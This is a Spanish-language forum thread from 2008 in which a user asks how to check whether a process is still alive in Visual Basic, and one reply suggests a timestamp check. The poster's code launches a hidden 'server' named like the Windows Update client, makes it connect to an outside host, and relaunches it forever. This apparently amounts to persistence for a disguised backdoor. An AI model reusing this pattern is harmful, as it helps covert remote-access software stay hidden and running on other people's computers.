elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Visual Basic Saber si Proceso esta activo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Visual Basic Saber si Proceso esta activo  (Leído 3,986 veces)
ahkbar

Desconectado Desconectado

Mensajes: 47



Ver Perfil
Visual Basic Saber si Proceso esta activo
« en: 31 Marzo 2008, 01:54 am »

    Hola, Como puedo saber si un proceso esta activo ? tengo el siguiente codigo, pero... a veces no me ejecuta despues de varios minutos, necesito saber el estado del proceso para ejecurarlo denuevo si es que se ha detenido, pero el problema que creo que pasa, que el SO devuelve un id de proceso a al programa ( h_process en el codigo de abajo ), pero si este programa se cierra, puede que otro programa se abra y obtenga el mismo id que le dio el SO al programa cerrado.

este codigo ejecuta el servidor
Código
  1.  
  2.  
  3. Private Sub ejecutarServidor()
  4. On Error GoTo e
  5.    Dim systemroot As String
  6.    systemroot = ResolveEnvirons("%systemroot%\")
  7.  
  8.  
  9.    h_process = OpenProcess(PROCESS_QUERY_INFORMATION, False, _
  10.           Shell(systemroot & "wuauclt.exe -run", vbHide))
  11.  
  12.    Call Shell(systemroot & "wuauclt.exe -connect miftp.net", vbHide)
  13. e:
  14. End Sub
  15.  


Este otro es el que se mantiene por el resto de la vida del pc encendido
Código
  1. Private Sub ejecutarServidorCadaMiliSeg()
  2. On Error GoTo e
  3. Dim cont As Single
  4. cont = 0
  5.    do While (1)
  6.        Sleep (60000)
  7.        cont = cont + 1
  8.  
  9.        If (cont = 5) Then
  10.  
  11.            GetExitCodeProcess h_process, rVal
  12.            If (rVal <> STILL_ACTIVE) Then
  13.                ejecutarServidor
  14.            End If
  15.            cont = 0
  16.  
  17.        End If
  18.  
  19.    Loop
  20. e:
  21. End Sub
  22.  

dato : h_process lo tengo como global


« Última modificación: 31 Marzo 2008, 01:57 am por Fernando1010 » En línea

crazy74mx

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Visual Basic Saber si Proceso esta activo
« Respuesta #1 en: 5 Abril 2008, 01:40 am »

Hola!
Lo que yo haría es que el proceso te almacene la hora del sistema en una variable. Tu puedes checar la hora de la variable contra la hora del sistema y si difieren por mas de x cantidad de segundos o minutos, pues es que se ha detenido.
Tal vez te parezca una solución un poco tonta, pero si te sirve pues que bien!
Saludos!


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Es posible ver si un proceso esta
Programación Visual Basic
CAR3S? 2 1,610 Último mensaje 13 Febrero 2011, 03:17 am
por CAR3S?
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines